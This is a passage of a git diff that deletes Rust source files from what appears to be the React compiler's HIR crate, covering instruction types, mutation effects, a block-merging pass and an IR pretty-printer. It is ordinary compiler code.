-                        &mut block.terminal,
-                        Terminal {
-                            id: terminal_id,
-                            value: TerminalValue::Label(LabelTerminal {
-                                block: lambda.lowered_function.body.entry,
-                                fallthrough: Some(continuation_block_id),
-                            }),
-                        },
-                    );
-
-                    // Extract the instructions for the continuation block
-                    let continuation_instructions = block.instructions.split_off(i);
-
-                    // Declare the temporary variable at the end of the block preceding
-                    // the useMemo invocation
-                    let declare_ix = InstrIx::new(instructions.len() as u32);
-                    instructions.push(Instruction {
-                        id: instr_id,
-                        lvalue: IdentifierOperand {
-                            identifier: env.new_temporary(),
-                            effect: None,
-                        },
-                        value: InstructionValue::DeclareLocal(DeclareLocal {
-                            lvalue: LValue {
-                                identifier: IdentifierOperand {
-                                    identifier: temporary.clone(),
-                                    effect: None,
-                                },
-                                kind: InstructionKind::Let,
-                            },
-                        }),
-                    });
-                    block.instructions.push(declare_ix);
-
-                    // Add the continuation block
-                    let continuation_block = Box::new(BasicBlock {
-                        id: continuation_block_id,
-                        instructions: continuation_instructions,
-                        kind: block.kind,
-                        phis: Default::default(),
-                        predecessors: Default::default(),
-                        terminal,
-                    });
-                    rewriter.add_block(continuation_block);
-
-                    inlined.push(lambda);
-                    break;
-                }
-                _ => {}
-            }
-        }
-        Ok(BlockRewriterAction::Keep(block))
-    })?;
-
-    if !inlined.is_empty() {
-        for lambda in inlined {
-            fun.body.inline(lambda);
-        }
-        initialize_hir(&mut fun.body)?;
-    }
-
-    Ok(())
-}
diff --git a/compiler/crates/react_hir/src/instruction.rs b/compiler/crates/react_hir/src/instruction.rs
deleted file mode 100644
index ca17cb55365e..000000000000
--- a/compiler/crates/react_hir/src/instruction.rs
+++ /dev/null
@@ -1,502 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::cell::RefCell;
-use std::fmt::Display;
-use std::rc::Rc;
-
-use react_estree::{BinaryOperator, JsValue};
-
-use crate::{Function, IdentifierId, InstructionId, ScopeId, Type};
-
-#[derive(Debug)]
-pub struct Instruction {
-    pub id: InstructionId,
-    pub lvalue: IdentifierOperand,
-    pub value: InstructionValue,
-}
-
-impl Instruction {
-    pub fn each_lvalue<F>(&mut self, mut f: F)
-    where
-        F: FnMut(&mut IdentifierOperand),
-    {
-        match &mut self.value {
-            InstructionValue::DeclareContext(instr) => {
-                f(&mut instr.lvalue.identifier);
-            }
-            InstructionValue::DeclareLocal(instr) => {
-                f(&mut instr.lvalue.identifier);
-            }
-            InstructionValue::StoreLocal(instr) => {
-                f(&mut instr.lvalue.identifier);
-            }
-            InstructionValue::Destructure(instr) => {
-                instr.pattern.each_operand(&mut f);
-            }
-            InstructionValue::Array(_)
-            | InstructionValue::Binary(_)
-            | InstructionValue::Call(_)
-            | InstructionValue::LoadContext(_)
-            | InstructionValue::LoadGlobal(_)
-            | InstructionValue::LoadLocal(_)
-            | InstructionValue::Primitive(_)
-            | InstructionValue::Function(_)
-            | InstructionValue::JSXElement(_)
-            | InstructionValue::Tombstone => {}
-        }
-        f(&mut self.lvalue);
-    }
-
-    pub fn try_each_lvalue<F, E>(&mut self, mut f: F) -> Result<(), E>
-    where
-        F: FnMut(&mut IdentifierOperand) -> Result<(), E>,
-    {
-        match &mut self.value {
-            InstructionValue::DeclareContext(instr) => {
-                f(&mut instr.lvalue.identifier)?;
-            }
-            InstructionValue::DeclareLocal(instr) => {
-                f(&mut instr.lvalue.identifier)?;
-            }
-            InstructionValue::StoreLocal(instr) => {
-                f(&mut instr.lvalue.identifier)?;
-            }
-            InstructionValue::Destructure(instr) => instr.pattern.try_each_operand(&mut f)?,
-            InstructionValue::Array(_)
-            | InstructionValue::Binary(_)
-            | InstructionValue::Call(_)
-            | InstructionValue::LoadContext(_)
-            | InstructionValue::LoadGlobal(_)
-            | InstructionValue::LoadLocal(_)
-            | InstructionValue::Primitive(_)
-            | InstructionValue::Function(_)
-            | InstructionValue::JSXElement(_)
-            | InstructionValue::Tombstone => {}
-        }
-        f(&mut self.lvalue)?;
-        Ok(())
-    }
-
-    pub fn each_rvalue<F>(&mut self, mut f: F)
-    where
-        F: FnMut(&mut IdentifierOperand),
-    {
-        match &mut self.value {
-            InstructionValue::Array(value) => {
-                for item in &mut value.elements {
-                    match item {
-                        Some(PlaceOrSpread::Place(item)) => f(item),
-                        Some(PlaceOrSpread::Spread(item)) => f(item),
-                        None => {}
-                    }
-                }
-            }
-            InstructionValue::Binary(value) => {
-                f(&mut value.left);
-                f(&mut value.right);
-            }
-            InstructionValue::Call(value) => {
-                f(&mut value.callee);
-                for arg in &mut value.arguments {
-                    match arg {
-                        PlaceOrSpread::Place(item) => f(item),
-                        PlaceOrSpread::Spread(item) => f(item),
-                    }
-                }
-            }
-            InstructionValue::StoreLocal(value) => {
-                f(&mut value.value);
-            }
-            InstructionValue::Function(value) => {
-                for dep in &mut value.dependencies {
-                    f(dep)
-                }
-            }
-            InstructionValue::JSXElement(value) => {
-                f(&mut value.tag);
-                for attr in &mut value.props {
-                    match attr {
-                        JSXAttribute::Spread { argument } => f(argument),
-                        JSXAttribute::Attribute { name: _, value } => f(value),
-                    }
-                }
-                if let Some(children) = &mut value.children {
-                    for child in children {
-                        f(child)
-                    }
-                }
-            }
-            InstructionValue::Destructure(value) => {
-                f(&mut value.value);
-            }
-            InstructionValue::LoadLocal(value) => {
-                f(&mut value.place);
-            }
-            InstructionValue::DeclareContext(_)
-            | InstructionValue::LoadContext(_)
-            | InstructionValue::LoadGlobal(_)
-            | InstructionValue::DeclareLocal(_)
-            | InstructionValue::Primitive(_)
-            | InstructionValue::Tombstone => {}
-        }
-    }
-}
-
-#[derive(Debug)]
-pub enum InstructionValue {
-    Array(Array),
-    // Await(Await),
-    Binary(Binary),
-    Call(Call),
-    // ComputedDelete(ComputedDelete),
-    // ComputedLoad(ComputedLoad),
-    // ComputedStore(ComputedStore),
-    // Debugger(Debugger),
-    DeclareContext(DeclareContext),
-    DeclareLocal(DeclareLocal),
-    Destructure(Destructure),
-    Function(FunctionExpression),
-    JSXElement(JSXElement),
-    // JsxFragment(JsxFragment),
-    // JsxText(JsxText),
-    LoadContext(LoadContext),
-    LoadGlobal(LoadGlobal),
-    LoadLocal(LoadLocal),
-    // MethodCall(MethodCall),
-    // New(New),
-    // NextIterable(NextIterable),
-    // Object(Object),
-    Primitive(Primitive),
-    // PropertyDelete(PropertyDelete),
-    // PropertyLoad(PropertyLoad),
-    // PropertyStore(PropertyStore),
-    // RegExp(RegExp),
-    // StoreContext(StoreContext),
-    StoreLocal(StoreLocal),
-    // TaggedTemplate(TaggedTemplate),
-    // Template(Template),
-    // TypeCast(TypeCast),
-    // Unary(Unary),
-    Tombstone,
-}
-
-#[derive(Debug)]
-pub struct Array {
-    pub elements: Vec<Option<PlaceOrSpread>>,
-}
-
-#[derive(Debug)]
-pub enum PlaceOrSpread {
-    Place(IdentifierOperand),
-    Spread(IdentifierOperand),
-}
-
-#[derive(Debug)]
-pub struct Binary {
-    pub left: IdentifierOperand,
-    pub operator: BinaryOperator,
-    pub right: IdentifierOperand,
-}
-
-#[derive(Debug)]
-pub struct Call {
-    pub callee: IdentifierOperand,
-    pub arguments: Vec<PlaceOrSpread>,
-}
-
-#[derive(Debug)]
-pub struct FunctionExpression {
-    pub dependencies: Vec<IdentifierOperand>,
-    pub lowered_function: Box<Function>,
-}
-
-#[derive(Debug, Clone, PartialEq, Eq)]
-pub struct Primitive {
-    pub value: JsValue,
-}
-
-#[derive(Debug)]
-pub struct LoadLocal {
-    pub place: IdentifierOperand,
-}
-
-#[derive(Debug)]
-pub struct LoadContext {
-    pub place: IdentifierOperand,
-}
-
-#[derive(Debug, PartialEq, Eq, Clone)]
-pub struct LoadGlobal {
-    pub name: String,
-}
-
-#[derive(Debug)]
-pub struct DeclareLocal {
-    pub lvalue: LValue,
-}
-
-#[derive(Debug)]
-pub struct DeclareContext {
-    pub lvalue: LValue, // note: kind must be InstructionKind::Let
-}
-
-#[derive(Debug)]
-pub struct StoreLocal {
-    pub lvalue: LValue,
-    pub value: IdentifierOperand,
-}
-
-#[derive(Debug)]
-pub struct JSXElement {
-    pub tag: IdentifierOperand,
-    pub props: Vec<JSXAttribute>,
-    pub children: Option<Vec<IdentifierOperand>>,
-}
-
-#[derive(Debug)]
-pub enum JSXAttribute {
-    Spread {
-        argument: IdentifierOperand,
-    },
-    Attribute {
-        name: String,
-        value: IdentifierOperand,
-    },
-}
-
-#[derive(Debug)]
-pub struct Destructure {
-    pub kind: InstructionKind,
-    pub pattern: DestructurePattern,
-    pub value: IdentifierOperand,
-}
-
-#[derive(Debug)]
-pub enum DestructurePattern {
-    Array(Vec<ArrayDestructureItem>),
-    Object(Vec<ObjectDestructureItem>),
-}
-
-impl DestructurePattern {
-    pub fn try_each_operand<E, F>(&mut self, f: &mut F) -> Result<(), E>
-    where
-        F: FnMut(&mut IdentifierOperand) -> Result<(), E>,
-    {
-        match self {
-            Self::Array(elements) => {
-                for item in elements {
-                    match item {
-                        ArrayDestructureItem::Hole => { /* no-op */ }
-                        ArrayDestructureItem::Value(item) => f(item)?,
-                        ArrayDestructureItem::Spread(item) => f(item)?,
-                    }
-                }
-            }
-            Self::Object(properties) => {
-                for property in properties {
-                    match property {
-                        ObjectDestructureItem::Property(property) => {
-                            f(&mut property.value)?;
-                        }
-                        ObjectDestructureItem::Spread(property) => f(property)?,
-                    }
-                }
-            }
-        }
-        Ok(())
-    }
-    pub fn each_operand<F>(&mut self, f: &mut F)
-    where
-        F: FnMut(&mut IdentifierOperand),
-    {
-        match self {
-            Self::Array(elements) => {
-                for item in elements {
-                    match item {
-                        ArrayDestructureItem::Hole => { /* no-op */ }
-                        ArrayDestructureItem::Value(item) => f(item),
-                        ArrayDestructureItem::Spread(item) => f(item),
-                    }
-                }
-            }
-            Self::Object(properties) => {
-                for property in properties {
-                    match property {
-                        ObjectDestructureItem::Property(property) => {
-                            f(&mut property.value);
-                        }
-                        ObjectDestructureItem::Spread(property) => f(property),
-                    }
-                }
-            }
-        }
-    }
-}
-
-#[derive(Debug)]
-pub enum ArrayDestructureItem {
-    Hole,
-    Value(IdentifierOperand),
-    Spread(IdentifierOperand),
-}
-
-#[derive(Debug)]
-pub enum ObjectDestructureItem {
-    Property(ObjectDestructureProperty),
-    Spread(IdentifierOperand),
-}
-
-#[derive(Debug)]
-pub struct ObjectDestructureProperty {
-    pub name: String,
-    pub value: IdentifierOperand,
-}
-
-#[derive(Clone, Debug)]
-pub struct IdentifierOperand {
-    pub identifier: Identifier,
-    pub effect: Option<Effect>,
-}
-
-#[derive(Debug)]
-pub struct LValue {
-    pub identifier: IdentifierOperand,
-    pub kind: InstructionKind,
-}
-
-#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
-pub enum InstructionKind {
-    /// `const` declaration
-    Const,
-
-    /// `let` declaration
-    Let,
-
-    /// Reassignment from `=` or assignment-update (`+=` etc)
-    Reassign,
-}
-
-impl Display for InstructionKind {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        match self {
-            Self::Const => f.write_str("Const"),
-            Self::Let => f.write_str("Let"),
-            Self::Reassign => f.write_str("Reassign"),
-        }
-    }
-}
-
-#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
-pub enum Effect {
-    /// This reference freezes the value (corresponds to a place where codegen should emit a freeze instruction)
-    Freeze,
-
-    /// This reference reads the value
-    Read,
-
-    /// This reference reads and stores the value
-    Capture,
-
-    /// This reference *may* write to (mutate) the value. This covers two similar cases:
-    /// - The compiler is being conservative and assuming that a value *may* be mutated
-    /// - The effect is polymorphic: mutable values may be mutated, non-mutable values
-    ///   will not be mutated.
-    /// In both cases, we conservatively assume that mutable values will be mutated.
-    /// But we do not error if the value is known to be immutable.
-    ConditionallyMutate,
-
-    /// This reference *does* write to (mutate) the value. It is an error (invalid input)
-    /// if an immutable value flows into a location with this effect.
-    Mutate,
-
-    /// This reference may alias to (mutate) the value
-    Store,
-}
-
-impl Effect {
-    pub fn is_mutable(self) -> bool {
-        match self {
-            Self::Capture | Self::Store | Self::ConditionallyMutate | Self::Mutate => true,
-            Self::Read | Self::Freeze => false,
-        }
-    }
-}
-
-impl Display for Effect {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_str(match self {
-            Effect::Capture => "capture",
-            Effect::ConditionallyMutate => "mutate?",
-            Effect::Freeze => "freeze",
-            Effect::Mutate => "mutate",
-            Effect::Read => "read",
-            Effect::Store => "store",
-        })
-    }
-}
-
-#[derive(Clone, Debug)]
-pub struct Identifier {
-    /// Uniquely identifies this identifier
-    pub id: IdentifierId,
-
-    /// The name of the identifier, if this corresponds to a named identifier in the
-    /// original program. May also be set for generated identifiers that must be
-    /// emitted as a variable declaration.
-    pub name: Option<String>,
-
-    /// Shared data, such as the mutable range and scope of the value referred to by
-    /// the identifier.
-    pub data: Rc<RefCell<IdentifierData>>,
-}
-
-#[derive(Debug)]
-pub struct IdentifierData {
-    pub mutable_range: MutableRange,
-
-    pub scope: Option<ReactiveScope>,
-
-    /// NOTE: consider moving this to `Identifier` to support control-flow specific
-    /// type information
-    pub type_: Type,
-}
-
-/// Describes a span of code, generally used to describe the range in which
-/// a particular value or set of values is mutable (hence the name).
-///
-/// Start is inclusive, end is exclusive (ie end is the "first" instruction
-/// for which the value is not mutable).
-#[derive(Clone, Debug)]
-pub struct MutableRange {
-    /// start of the range, inclusive.
-    pub start: InstructionId,
-
-    /// end of the range, exclusive
-    pub end: InstructionId,
-}
-
-impl MutableRange {
-    pub fn new() -> Self {
-        Self {
-            start: InstructionId(0),
-            end: InstructionId(0),
-        }
-    }
-}
-
-impl Default for MutableRange {
-    fn default() -> Self {
-        Self::new()
-    }
-}
-
-#[derive(Clone, Debug)]
-pub struct ReactiveScope {
-    pub id: ScopeId,
-    pub range: MutableRange,
-}
diff --git a/compiler/crates/react_hir/src/lib.rs b/compiler/crates/react_hir/src/lib.rs
deleted file mode 100644
index 8e69916cd2ee..000000000000
--- a/compiler/crates/react_hir/src/lib.rs
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod basic_block;
-mod environment;
-mod features;
-mod function;
-mod id_types;
-mod initialize;
-mod inline_use_memo;
-mod instruction;
-mod merge_consecutive_blocks;
-mod print;
-mod registry;
-mod terminal;
-mod types;
-
-pub use basic_block::*;
-pub use environment::*;
-pub use features::*;
-pub use function::*;
-pub use id_types::*;
-pub use initialize::{
-    initialize_hir, mark_instruction_ids, mark_predecessors,
-    remove_unreachable_do_while_statements, remove_unreachable_fallthroughs,
-    remove_unreachable_for_updates, reverse_postorder_blocks,
-};
-pub use inline_use_memo::inline_use_memo;
-pub use instruction::*;
-pub use merge_consecutive_blocks::merge_consecutive_blocks;
-pub use print::Print;
-pub use registry::Registry;
-pub use terminal::*;
-pub use types::*;
diff --git a/compiler/crates/react_hir/src/merge_consecutive_blocks.rs b/compiler/crates/react_hir/src/merge_consecutive_blocks.rs
deleted file mode 100644
index d9cd7bded745..000000000000
--- a/compiler/crates/react_hir/src/merge_consecutive_blocks.rs
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashMap;
-
-use react_diagnostics::{invariant, Diagnostic};
-use thiserror::Error;
-
-use crate::{
-    mark_instruction_ids, mark_predecessors, BasicBlock, BlockId, BlockKind, BlockRewriter,
-    BlockRewriterAction, Environment, Function, IdentifierOperand, InstrIx, Instruction,
-    InstructionKind, InstructionValue, LValue, LoadLocal, StoreLocal, TerminalValue,
-};
-
-/// Merges sequences of blocks that will always execute consecutively —
-/// ie where the predecessor always transfers control to the successor
-/// (ends in a goto) and where the predecessor is the only predecessor
-/// for that successor (ie, there is no other way to reach the successor).
-///
-/// Note that this pass leaves value/loop blocks alone because they cannot
-/// be merged without breaking the structure of the high-level terminals
-/// that reference them.
-pub fn merge_consecutive_blocks(env: &Environment, fun: &mut Function) -> Result<(), Diagnostic> {
-    let mut merged = MergedBlocks::default();
-    let blocks = &mut fun.body.blocks;
-    let instructions = &mut fun.body.instructions;
-    let mut rewriter = BlockRewriter::new(blocks, fun.body.entry);
-    let mut has_changes = false;
-
-    rewriter.try_each_block(|mut block, rewriter| {
-        let block_id = block.id;
-        // Visit instructions to merge blocks within function expressions
-        for instr_ix in &block.instructions {
-            let instr = &mut instructions[usize::from(*instr_ix)];
-            if let InstructionValue::Function(fun) = &mut instr.value {
-                merge_consecutive_blocks(env, &mut fun.lowered_function)?;
-            }
-        }
-
-        // Can't merge value blocks and can't merge blocks with multiple
-        // predecessors
-        if block.kind != BlockKind::Block || block.predecessors.len() != 1 {
-            return Ok(BlockRewriterAction::Keep(block));
-        }
-
-        let original_predecessor_id = block.predecessors.first().unwrap(); // length checked above
-        let predecessor_id = merged.get(*original_predecessor_id);
-        let predecessor = rewriter.block_mut(predecessor_id);
-        if predecessor.kind != BlockKind::Block
-            || !matches!(predecessor.terminal.value, TerminalValue::Goto(_))
-        {
-            // Can't merge value blocks, and we can't merge if the predecessor
-            // has multiple successors (and isn't guaranteed to transfer here)
-            return Ok(BlockRewriterAction::Keep(block));
-        }
-
-        // Replace phis in the merged block with canonical assignments to the single
-        // operand value
-        for phi in block.phis.iter_mut() {
-            invariant(phi.operands.len() == 1, || {
-                Diagnostic::invariant(ExpectedSingleOperandPhis { block: block_id }, None)
-            })?;
-            let (_, operand) = phi.operands.first().unwrap();
-            // load the operand
-            let temporary = env.new_temporary();
-            let load = Instruction {
-                id: predecessor.terminal.id,
-                lvalue: IdentifierOperand {
-                    identifier: temporary.clone(),
-                    effect: None,
-                },
-                value: InstructionValue::LoadLocal(LoadLocal {
-                    place: IdentifierOperand {
-                        effect: None,
-                        identifier: operand.clone(),
-                    },
-                }),
-            };
-            let load_ix = InstrIx::new(instructions.len() as u32);
-            instructions.push(load);
-            predecessor.instructions.push(load_ix);
-            // store it into the phi id
-            let store = Instruction {
-                id: predecessor.terminal.id,
-                lvalue: IdentifierOperand {
-                    identifier: env.new_temporary(),
-                    effect: None,
-                },
-                value: InstructionValue::StoreLocal(StoreLocal {
-                    lvalue: LValue {
-                        kind: InstructionKind::Reassign,
-                        identifier: IdentifierOperand {
-                            identifier: phi.identifier.clone(),
-                            effect: None,
-                        },
-                    },
-                    value: IdentifierOperand {
-                        identifier: temporary,
-                        effect: None,
-                    },
-                }),
-            };
-            let store_ix = InstrIx::new(instructions.len() as u32);
-            instructions.push(store);
-            predecessor.instructions.push(store_ix);
-        }
-        let BasicBlock {
-            instructions,
-            terminal,
-            ..
-        } = *block;
-        predecessor.instructions.extend(instructions);
-        predecessor.terminal = terminal;
-        merged.merge(block_id, predecessor_id);
-
-        has_changes = true;
-        Ok(BlockRewriterAction::Remove)
-    })?;
-
-    if has_changes {
-        mark_instruction_ids(&mut fun.body)?;
-        mark_predecessors(&mut fun.body);
-    }
-
-    Ok(())
-}
-
-#[derive(Default)]
-struct MergedBlocks {
-    merged: HashMap<BlockId, BlockId>,
-}
-
-impl MergedBlocks {
-    fn merge(&mut self, block: BlockId, into: BlockId) {
-        let target = self.get(into);
-        self.merged.insert(block, target);
-    }
-
-    fn get(&self, block: BlockId) -> BlockId {
-        let mut current = block;
-        while let Some(mapped) = self.merged.get(&current) {
-            current = *mapped;
-        }
-        current
-    }
-}
-
-#[derive(Debug, Error)]
-#[error("Expected predecessor {predecessor} to exist")]
-pub struct ExpectedPredecessorToExist {
-    predecessor: BlockId,
-}
-
-#[derive(Debug, Error)]
-#[error(
-    "Expected block {block} with single predecessor to have no phis or
-    phis with a single operand, found multiple operands"
-)]
-pub struct ExpectedSingleOperandPhis {
-    block: BlockId,
-}
diff --git a/compiler/crates/react_hir/src/print.rs b/compiler/crates/react_hir/src/print.rs
deleted file mode 100644
index 5070535faac3..000000000000
--- a/compiler/crates/react_hir/src/print.rs
+++ /dev/null
@@ -1,401 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::fmt::{Result, Write};
-
-use react_estree::JsValue;
-use react_utils::ensure_sufficient_stack;
-
-use crate::{
-    ArrayDestructureItem, BasicBlock, DestructurePattern, Function, Identifier, IdentifierOperand,
-    Instruction, InstructionValue, LValue, ObjectDestructureItem, Phi, PlaceOrSpread, Terminal,
-    TerminalValue, HIR,
-};
-
-/// Trait for HIR types to describe how they print themselves.
-/// Eventually we should add a higher-level abstraction for printing to
-/// handle things like indentation and maybe wrapping long lines. The
-/// `pretty` crate seems to have a lot of usage but the type signatures
-/// are pretty tedious, we can make something much simpler.
-pub trait Print {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result;
-}
-
-impl Function {
-    pub fn debug(&self) {
-        let mut out = String::new();
-        self.print(&self.body, &mut out).unwrap();
-        println!("{out}");
-    }
-}
-
-impl Print for Function {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        ensure_sufficient_stack(|| {
-            writeln!(
-                out,
-                "function {}(",
-                match &self.id {
-                    Some(id) => id,
-                    None => "<anonymous>",
-                }
-            )?;
-            for param in &self.params {
-                write!(out, "  ")?;
-                param.print(hir, out)?;
-                writeln!(out, ",")?;
-            }
-            writeln!(out, ")")?;
-            writeln!(out, "entry {}", self.body.entry)?;
-            for block in self.body.blocks.iter() {
-                block.print(hir, out)?;
-            }
-            writeln!(out)?;
-            Ok(())
-        })
-    }
-}
-
-impl Print for BasicBlock {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        writeln!(out, "{} ({})", self.id, self.kind)?;
-        if !self.predecessors.is_empty() {
-            write!(out, "  predecessors: ")?;
-            for (ix, pred) in self.predecessors.iter().enumerate() {
-                if ix != 0 {
-                    write!(out, ", ")?;
-                }
-                write!(out, "{}", *pred)?;
-            }
-            writeln!(out)?;
-        }
-        for phi in self.phis.iter() {
-            phi.print(hir, out)?;
-            writeln!(out)?;
-        }
-        for ix in &self.instructions {
-            if usize::from(*ix) >= hir.instructions.len() {
-                writeln!(out, "  <out of bounds {}>", ix)?;
-                continue;
-            }
-            let instr = &hir.instructions[usize::from(*ix)];
-            write!(out, "  {} ", instr.id)?;
-            instr.lvalue.print(hir, out)?;
-            write!(out, " = ")?;
-            instr.value.print(hir, out)?;
-            writeln!(out, "")?;
-        }
-        self.terminal.print(hir, out)?;
-        Ok(())
-    }
-}
-
-impl Print for Phi {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        write!(out, "  ")?;
-        self.identifier.print(hir, out)?;
-        write!(out, ": phi(")?;
-        for (ix, (pred_id, id)) in self.operands.iter().enumerate() {
-            if ix != 0 {
-                write!(out, ", ")?;
-            }
-            write!(out, "{}: ", pred_id)?;
-            id.print(hir, out)?;
-        }
-        write!(out, ")")?;
-        Ok(())
-    }
-}
-
-impl Print for Instruction {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        write!(out, "  {} ", self.id)?;
-        self.value.print(hir, out)?;
-        writeln!(out, "")?;
-        Ok(())
-    }
-}
-
-impl Print for InstructionValue {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        match self {
-            InstructionValue::Array(value) => {
-                write!(out, "Array [")?;
-                for (ix, item) in value.elements.iter().enumerate() {
-                    if ix != 0 {
-                        write!(out, ", ")?;
-                    }
-                    if let Some(item) = item {
-                        item.print(hir, out)?;
-                    } else {
-                        write!(out, "<elision>")?;
-                    }
-                }
-                write!(out, "]")?;
-            }
-            InstructionValue::Call(value) => {
-                write!(out, "Call ")?;
-                value.callee.print(hir, out)?;
-                write!(out, "(")?;
-                for (ix, arg) in value.arguments.iter().enumerate() {
-                    if ix != 0 {
-                        write!(out, ", ")?;
-                    }
-                    arg.print(hir, out)?;
-                }
-                write!(out, ")")?;
-            }
-            InstructionValue::LoadGlobal(value) => {
-                write!(out, "LoadGlobal {}", &value.name)?;
-            }
-            InstructionValue::LoadLocal(value) => {
-                write!(out, "LoadLocal ")?;
-                value.place.print(hir, out)?;
-            }
-            InstructionValue::Primitive(value) => {
-                // Unlike other variants we don't print the variant name ("Primitive") since it's
-                // obvious
-                match &value.value {
-                    JsValue::Boolean(value) => write!(out, "{}", value)?,
-                    JsValue::Null => write!(out, "null")?,
-                    JsValue::Number(value) => write!(out, "{}", f64::from(*value))?,
-
-                    // TODO: quote the string itself (JS version uses JSON.stringify())
-                    JsValue::String(value) => write!(out, "\"{}\"", value.as_str())?,
-
-                    JsValue::Undefined => write!(out, "<undefined>")?,
-                };
-            }
-            InstructionValue::StoreLocal(value) => {
-                write!(out, "StoreLocal ")?;
-                value.lvalue.print(hir, out)?;
-                write!(out, " = ")?;
-                value.value.print(hir, out)?;
-            }
-            InstructionValue::DeclareLocal(value) => {
-                write!(out, "DeclareLocal ")?;
-                value.lvalue.print(hir, out)?;
-            }
-            InstructionValue::Binary(value) => {
-                write!(out, "Binary ")?;
-                value.left.print(hir, out)?;
-                write!(out, " {} ", value.operator)?;
-                value.right.print(hir, out)?;
-            }
-            InstructionValue::Function(value) => {
-                write!(out, "Function @deps[")?;
-                for (ix, dep) in value.dependencies.iter().enumerate() {
-                    if ix != 0 {
-                        write!(out, ", ")?;
-                    }
-                    dep.print(hir, out)?;
-                }
-                write!(out, "] @context[")?;
-                for (ix, dep) in value.lowered_function.context.iter().enumerate() {
-                    if ix != 0 {
-                        write!(out, ", ")?;
-                    }
-                    dep.print(hir, out)?;
-                }
-                writeln!(out, "]:")?;
-                let mut inner_output = String::new();
-                value
-                    .lowered_function
-                    .print(&value.lowered_function.body, &mut inner_output)?;
-                let lines: Vec<_> = inner_output
-                    .split("\n")
-                    .map(|line| format!("      {}", line))
-                    .filter(|line| line.trim().len() != 0)
-                    .collect();
-                write!(out, "{}", lines.join("\n"))?;
-            }
-            InstructionValue::Destructure(value) => {
-                write!(out, "Destructure ")?;
-                value.pattern.print(hir, out)?;
-                write!(out, " = ")?;
-                value.value.print(hir, out)?;
-            }
-            InstructionValue::Tombstone => {
-                write!(out, "Tombstone!")?;
-            }
-            _ => write!(out, "{:?}", self)?,
-        }
-        Ok(())
-    }
-}
-
-impl Print for PlaceOrSpread {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        match self {
-            PlaceOrSpread::Place(place) => place.print(hir, out),
-            PlaceOrSpread::Spread(place) => {
-                write!(out, "...")?;
-                place.print(hir, out)?;
-                Ok(())
-            }
-        }
-    }
-}
-
-impl Print for LValue {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        write!(out, "{} ", self.kind)?;
-        self.identifier.print(hir, out)
-    }
-}
-
-impl Print for IdentifierOperand {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        write!(
-            out,
-            "{} ",
-            match self.effect {
-                Some(effect) => format!("{}", effect),
-                None => "unknown".to_string(),
-            },
-        )?;
-        self.identifier.print(hir, out)
-    }
-}
-
-impl Print for Identifier {
-    fn print(&self, _hir: &HIR, out: &mut impl Write) -> Result {
-        write!(
-            out,
-            "{}{}",
-            match &self.name {
-                Some(name) => name.to_string(),
-                None => "".to_string(),
-            },
-            self.id
-        )
-    }
-}
-
-impl Print for DestructurePattern {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        match self {
-            DestructurePattern::Array(items) => {
-                write!(out, "[ ")?;
-                for (index, item) in items.iter().enumerate() {
-                    if index != 0 {
-                        write!(out, ", ")?;
-                    }
-                    match item {
-                        ArrayDestructureItem::Hole => {
-                            write!(out, "<hole>")?;
-                        }
-                        ArrayDestructureItem::Value(item) => {
-                            item.print(hir, out)?;
-                        }
-                        ArrayDestructureItem::Spread(item) => {
-                            write!(out, "...")?;
-                            item.print(hir, out)?;
-                        }
-                    }
-                }
-                write!(out, " ]")?;
-            }
-            DestructurePattern::Object(properties) => {
-                write!(out, "{{ ")?;
-                for (index, property) in properties.iter().enumerate() {
-                    if index != 0 {
-                        write!(out, ", ")?;
-                    }
-                    match property {
-                        ObjectDestructureItem::Property(property) => {
-                            write!(out, "{}: ", &property.name)?;
-                            property.value.print(hir, out)?;
-                        }
-                        ObjectDestructureItem::Spread(property) => {
-                            write!(out, "...")?;
-                            property.print(hir, out)?;
-                        }
-                    }
-                }
-                write!(out, " }}")?;
-            }
-        }
-        Ok(())
-    }
-}
-
-impl Print for Terminal {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        write!(out, "  {} ", self.id)?;
-        self.value.print(hir, out)?;
-        writeln!(out, "")?;
-        Ok(())
-    }
-}
-
-impl Print for TerminalValue {
-    fn print(&self, hir: &HIR, out: &mut impl Write) -> Result {
-        match self {
-            TerminalValue::Return(terminal) => {
-                write!(out, "Return ")?;
-                terminal.value.print(hir, out)?;
-            }
-            TerminalValue::Goto(terminal) => {
-                write!(out, "Goto {}", terminal.block)?;
-            }
-            TerminalValue::If(terminal) => {
-                write!(out, "If ")?;
-                terminal.test.print(hir, out)?;
-                write!(
-                    out,
-                    " consequent={} alternate={} fallthrough={}",
-                    terminal.consequent,
-                    terminal.alternate,
-                    match terminal.fallthrough {
-                        Some(fallthrough) => format!("{fallthrough}"),
-                        None => "<none>".to_string(),
-                    }
-                )?;
-            }
-            TerminalValue::Branch(terminal) => {
-                write!(out, "Branch ")?;
-                terminal.test.print(hir, out)?;
